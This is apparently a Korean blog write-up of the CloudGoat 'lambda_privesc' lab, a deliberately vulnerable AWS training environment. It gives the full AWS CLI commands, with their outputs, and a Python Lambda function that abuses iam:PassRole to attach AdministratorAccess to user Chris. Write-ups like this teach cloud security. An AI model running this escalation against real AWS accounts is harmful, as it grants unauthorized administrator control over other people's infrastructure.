문제 URL 경로
cloudgoat/cloudgoat/scenarios/aws/lambda_privesc/README.md at master · RhinoSecurityLabs/cloudgoat
CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat
github.com
문제 설명
1개 IAM User와 2개 Role 생성되고 admin 권한을 획득하는 문제입니다.
시작은 Chris 부터 시작하면 됩니다.
문제 풀이
문제를 풀기 위해 문제 경로(폴더)로 들어가서 start.txt를 확인합니다.
확인한 Access Key로 프로파일을 하나 생성합니다.
#-------------------- 0. 시작 환경 설정 --------------------
### 시작 계정(Chris) Access Key 확인 ###
cat start.txt
### 프로파일 생성 ###
aws configure --profile lambda_privesc
Chris에 붙어있는 유저 정책을 확인해보면 iam 서비스와 sts 역할 전환을 할 수 있습니다.
#-------------------- 1.1 현재 소유 권한 분석 - Policy --------------------
### 계정 리스트 확인 ###
aws iam list-users --profile lambda_privesc
### chris 에게 적용된 AWS 관리 정책 (manager 요청) ###
aws iam list-attached-user-policies --user-name chris-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
"AttachedPolicies": [
{
"PolicyName": "cg-chris-policy-cgidnsyro2hx1n",
"PolicyArn": "arn:aws:iam::739275444311:policy/cg-chris-policy-cgidnsyro2hx1n"
}
]
}
### chris 에게 적용된 User 관리 정책 (lambda_privesc 요청) ###
aws iam list-user-policies --user-name chris-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
"PolicyNames": []
}
### cg-chris-policy-cgidnsyro2hx1n 정책 확인 ###
aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-chris-policy-cgidnsyro2hx1n --version-id v1 --profile lambda_privesc
# 출력결과
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"sts:AssumeRole",
"iam:List*",
"iam:Get*"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "chris"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2025-04-03T08:13:29+00:00"
}
}
1. 소유 권한 분석
2개의 역할(debug-role, lambdaManager-role)을 확인해 보면
1. debug-role은 관리자 권한(AdministratorAccess)이 할당되어 있고
2. lambdaManager-role에는 iam:PassRole와 lambda:*에 대한 권한이 할당되어 있습니다.
이 문제는 lambdaManager-role에 할당된 iam:PassRole을 이용하여 lambda 함수로 debug-role 역할을 전달한 후 debug-role 이 가지고 있는 관리자권한을 이용하여 다른 유저(Chris)의 권한을 상승시키는 취약점을 활용한 문제 입니다.
#-------------------- 1.2 현재 소유 권한 분석 - Role --------------------
### 역할 리스트 확인 ###
aws iam list-roles --profile lambda_privesc | grep cgidnsyro2hx1n
# 출력결과
"RoleName": "cg-debug-role-cgidnsyro2hx1n",
"Arn": "arn:aws:iam::739275444311:role/cg-debug-role-cgidnsyro2hx1n",
"RoleName": "cg-lambdaManager-role-cgidnsyro2hx1n",
"Arn": "arn:aws:iam::739275444311:role/cg-lambdaManager-role-cgidnsyro2hx1n",
### 역할 확인 - (1. debug-role) ###
aws iam get-role --role-name cg-debug-role-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
"Role": {
"Path": "/",
"RoleName": "cg-debug-role-cgidnsyro2hx1n",
"RoleId": "AROA2YICACBL2I6HX52KN",
"Arn": "arn:aws:iam::739275444311:role/cg-debug-role-cgidnsyro2hx1n",
"CreateDate": "2025-04-03T08:13:29+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "CloudGoat debug role",
"MaxSessionDuration": 3600,
"Tags": [
{
"Key": "Name",
"Value": "cg-debug-role-cgidnsyro2hx1n"
},
{
"Key": "Scenario",
"Value": "lambda-privesc"
},
{
"Key": "Stack",
"Value": "CloudGoat"
}
],
"RoleLastUsed": {}
}
}
### 역할에 붙어있는 정책 확인 ###
aws iam list-attached-role-policies --role-name cg-debug-role-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
"AttachedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
}
]
}
### 역할 확인 (2. lambdaManager) ###
aws iam get-role --role-name cg-lambdaManager-role-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
"Role": {
"Path": "/",
"RoleName": "cg-lambdaManager-role-cgidnsyro2hx1n",
"RoleId": "AROA2YICACBL4GNTPQSW6",
"Arn": "arn:aws:iam::739275444311:role/cg-lambdaManager-role-cgidnsyro2hx1n",
"CreateDate": "2025-04-03T08:13:39+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::739275444311:user/chris-cgidnsyro2hx1n"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "CloudGoat Lambda manager role",
"MaxSessionDuration": 3600,
"Tags": [
{
"Key": "Name",
"Value": "cg-debug-role-cgidnsyro2hx1n"
},
{
"Key": "Scenario",
"Value": "lambda-privesc"
},
{
"Key": "Stack",
"Value": "CloudGoat"
}
],
"RoleLastUsed": {}
}
}
### 역할에 붙어있는 정책 확인 ###
aws iam list-attached-role-policies --role-name cg-lambdaManager-role-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
"AttachedPolicies": [
{
"PolicyName": "cg-lambdaManager-policy-cgidnsyro2hx1n",
"PolicyArn": "arn:aws:iam::739275444311:policy/cg-lambdaManager-policy-cgidnsyro2hx1n"
}
]
}
### 정책 확인 (lambdaManager-policy) ###
aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-lambdaManager-policy-cgidnsyro2hx1n --version-id v1 --profile lambda_privesc
# 출력결과
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"lambda:*",
"iam:PassRole"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "lambdaManager"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2025-04-03T08:13:29+00:00"
}
}
2. 역할 전환 및 프로파일 생성
Chris 유저가 가지고 있는 역할 전환 권한을 이용하여 lambdaManager-role로 역할 전환하고 새로운 프로파일을 만듭니다.
#-------------------- 2. 역할 전환 및 Role 프로파일 생성 ### --------------------
### 역할 전환 (lambdaManager) ###
aws sts assume-role --role-arn arn:aws:iam::739275444311:role/cg-lambdaManager-role-cgidnsyro2hx1n --role-session-name Chris --profile lambda_privesc
### 역할 전환 프로파일 생성 ###
aws configure set --profile role_LambdaManager aws_access_key_id <access_key>
aws configure set --profile role_LambdaManager aws_secret_access_key <secret_key>
aws configure set --profile role_LambdaManager aws_session_token <session_token>
3. 람다 함수 생성 및 관리자권한 획득
Chris 사용자에게 관리자권한을 추가하는 lambda 함수를 작성 후 lambda 함수를 생성하고 실행합니다.
이 모든 과정은 LambdaManager 역할로 수행합니다.
Lambda 함수가 정상적으로 실행된 후 Chris가 소유하고 있는 권한을 재확인해보면 관리자 권한을 소유하고 있음이 확인됩니다.
#-------------------- 3. Lambda 함수 생성 및 실행하여 관리자 권한 획득 ### --------------------
### 관리자 권한 획득을 위한 Lambda 함수 - 코드 생성 ###
# 파일명 : lambda_function.py
import boto3
def lambda_handler(event, context):
iam = boto3.client('iam')
# 사용자 이름과 정책 ARN 설정
user_name = 'chris-cgidnsyro2hx1n' # 사용자이름
policy_arn = 'arn:aws:iam::aws:policy/AdministratorAccess'
try:
# 정책 attach 실행
iam.attach_user_policy(
UserName=user_name,
PolicyArn=policy_arn
)
return {
'status': 'Success',
'message': f'Attached AdministratorAccess to user {user_name}'
}
except Exception as e:
return {
'status': 'Error',
'message': str(e)
}
### .py 코드 zip 파일 변환 ###
zip function.zip lambda_function.py
### lambda 함수 생성 ###
aws lambda create-function \
--function-name PrivilegeAttack1 \
--runtime python3.12 \
--role arn:aws:iam::739275444311:role/cg-debug-role-cgidnsyro2hx1n \
--handler lambda_function.lambda_handler \
--zip-file fileb://function.zip \
--profile role_LambdaManager
### lambda 함수 실행 ###
aws lambda invoke \
--function-name PrivilegeAttack1 \
--payload '{}' \
response.json \
--profile role_LambdaManager
### chris 에게 적용된 AWS 관리 정책 확인 - 관리자 권한 획득 ###
aws iam list-attached-user-policies --user-name chris-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
"AttachedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
},
{
"PolicyName": "cg-chris-policy-cgidnsyro2hx1n",
"PolicyArn": "arn:aws:iam::739275444311:policy/cg-chris-policy-cgidnsyro2hx1n"
}
]
}
<권한 상승 취약점을 활용한 관리자 권환 획득>
내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!
caul334@gmail.com
'IT > Cloud' 카테고리의 다른 글
[CloudGoat] sqs_flag_shop 문제풀이 Write-up (1) | 2025.04.09 |
---|---|
[CloudGoat] iam_privesc_by_rollback 문제풀이 Write-up (0) | 2025.04.08 |
[CloudGoat] iam_privesc_by_key_rotation 문제풀이 Write-up (0) | 2025.04.02 |
[AWS] AWS CLI 커맨드 입력 시 뭘 입력할지 모르겠다면! (aws cli 명령어 레퍼런스) (0) | 2025.04.02 |
[CloudGoat] cloudgoat.py create 명령어 Terraform 에러 (0) | 2025.02.14 |